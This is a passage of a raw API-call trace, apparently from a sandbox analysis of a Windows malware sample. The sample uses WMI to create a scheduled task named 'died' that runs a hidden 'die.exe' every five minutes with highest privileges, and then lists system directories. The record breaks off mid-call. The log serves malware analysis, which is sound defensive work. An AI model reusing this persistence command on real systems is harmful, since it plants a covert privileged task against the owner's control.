puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0077.438] IWbemServices:GetObject (in: This=0x1bfba0d0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x116f2f0, ppCallResult=0x0) returned 0x0 [0077.466] IWbemClassObject:GetMethod (in: This=0x116f2f0, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x116f660, ppOutSignature=0x1b2fd9e0*=0x116f9d0) returned 0x0 [0077.467] IWbemClassObject:SpawnInstance (in: This=0x116f660, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf6bf50) returned 0x0 [0077.468] IWbemClassObject:Get (in: This=0x1bf6bf50, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a3f2c8*=0, plFlavor=0x2a3f2cc*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a3f2c8*=8, plFlavor=0x2a3f2cc*=32) returned 0x0 [0077.468] IWbemClassObject:Get (in: This=0x1bf6bf50, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a3f2c8*=8, plFlavor=0x2a3f2cc*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a3f2c8*=8, plFlavor=0x2a3f2cc*=32) returned 0x0 [0077.468] IWbemClassObject:Put (This=0x1bf6bf50, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"died\" /sc MINUTE /mo 5 /tr \"'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0077.468] IWbemClassObject:Get (in: This=0x1bf6bf50, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a3f358*=0, plFlavor=0x2a3f35c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a3f358*=13, plFlavor=0x2a3f35c*=32) returned 0x0 [0077.468] IWbemClassObject:Get (in: This=0x1bf6bf50, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a3f358*=13, plFlavor=0x2a3f35c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a3f358*=13, plFlavor=0x2a3f35c*=32) returned 0x0 [0077.468] IUnknown:QueryInterface (in: This=0x11fdf30, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x11fdf30) returned 0x0 [0077.469] IUnknown:QueryInterface (in: This=0x11fdf30, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0077.469] IUnknown:QueryInterface (in: This=0x11fdf30, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0077.469] IUnknown:AddRef (This=0x11fdf30) returned 0x3 [0077.469] IUnknown:QueryInterface (in: This=0x11fdf30, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0077.469] IUnknown:QueryInterface (in: This=0x11fdf30, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0077.469] IUnknown:QueryInterface (in: This=0x11fdf30, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x11fdf38) returned 0x0 [0077.469] IMarshal:GetUnmarshalClass (in: This=0x11fdf38, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0077.469] IUnknown:Release (This=0x11fdf38) returned 0x3 [0077.469] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0077.469] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0077.469] IUnknown:QueryInterface (in: This=0x11fdf30, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0077.470] IUnknown:Release (This=0x11fdf30) returned 0x2 [0077.470] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0077.470] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0077.470] IUnknown:QueryInterface (in: This=0x11fdf30, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0077.470] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0077.470] IUnknown:QueryInterface (in: This=0x11fdf30, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0077.470] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0077.470] IUnknown:AddRef (This=0x11fdf30) returned 0x3 [0077.470] IWbemClassObject:Put (This=0x1bf6bf50, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11fdf30, varVal2=0x0), Type=0) returned 0x0 [0077.470] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbbd00, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0077.470] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbbd00, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0077.470] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbbd00, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0077.470] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbbc40, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0077.471] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbbc40, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0077.471] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbbc40, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0077.471] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbbd00, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0077.471] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbbd00, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0077.471] IWbemServices:ExecMethod (in: This=0x1bfba0d0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf6bf50, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf6c200, ppCallResult=0x0) returned 0x0 [0077.731] IWbemClassObject:Get (in: This=0x1bf6c200, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a3f688*=0, plFlavor=0x2a3f68c*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc8c, varVal2=0x0), pType=0x2a3f688*=19, plFlavor=0x2a3f68c*=0) returned 0x0 [0077.731] IWbemClassObject:Get (in: This=0x1bf6c200, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a3f688*=19, plFlavor=0x2a3f68c*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc8c, varVal2=0x0), pType=0x2a3f688*=19, plFlavor=0x2a3f68c*=0) returned 0x0 [0077.732] CoTaskMemAlloc (cb=0x20c) returned 0x1118360 [0077.732] GetSystemDirectoryW (in: lpBuffer=0x1118360, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0077.732] CoTaskMemFree (pv=0x1118360) [0077.732] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0077.732] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0077.733] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1bfbe870 [0077.733] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0077.733] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0077.733] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0077.733] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0077.733] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x183b87e0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0077.733] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x418b3f80, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x523740e0, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x523740e0, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hyperWinhost", cAlternateFileName="HYPERW~1")) returned 1 [0077.733] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xf1e7bf70, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xf1f144f0, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xf1f144f0, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0077.734] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x18be7380, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0077.734] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0077.734] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdee64ba0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xdee64ba0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0077.734] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x39960750, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x39960750, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0077.734] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x41b67910, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x41b67910, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0077.734] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0077.734] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x4b53c6d0, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x4b53c6d0, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0077.734] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0077.734] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdef956a0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xdef956a0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0077.734] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0077.734] FindClose (in: hFindFile=0x1bfbe870 | out: hFindFile=0x1bfbe870) returned 1 [0077.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0077.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0077.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0077.735] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0077.735] FindFirstFileW (in: lpFileName="C:\\Windows\\*" (normalized: "c:\\windows\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdef956a0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xdef956a0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1bfbe870 [0077.736] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdef956a0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xdef956a0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.736] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80b6f4c5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80b6f4c5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="addins", cAlternateFileName="")) returned 1 [0077.736] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdb0c77c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdb0c77c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppCompat", cAlternateFileName="APPCOM~1")) returned 1 [0077.736] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb328d6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5d6c2e00, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x5d6c2e00, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPatch", cAlternateFileName="")) returned 1 [0077.736] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfdb58a30, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf6d25be0, ftLastAccessTime.dwHighDateTime=0x1d99d09, ftLastWriteTime.dwLowDateTime=0xf6d25be0, ftLastWriteTime.dwHighDateTime=0x1d99d09, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="assembly", cAlternateFileName="")) returned 1 [0077.736] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97675415, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97675415, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x977f21d7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x0, cFileName="bfsvc.exe", cAlternateFileName="")) returned 1 [0077.736] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0077.736] FindNextFileW (in: hFindFile=0x1bfbe870, 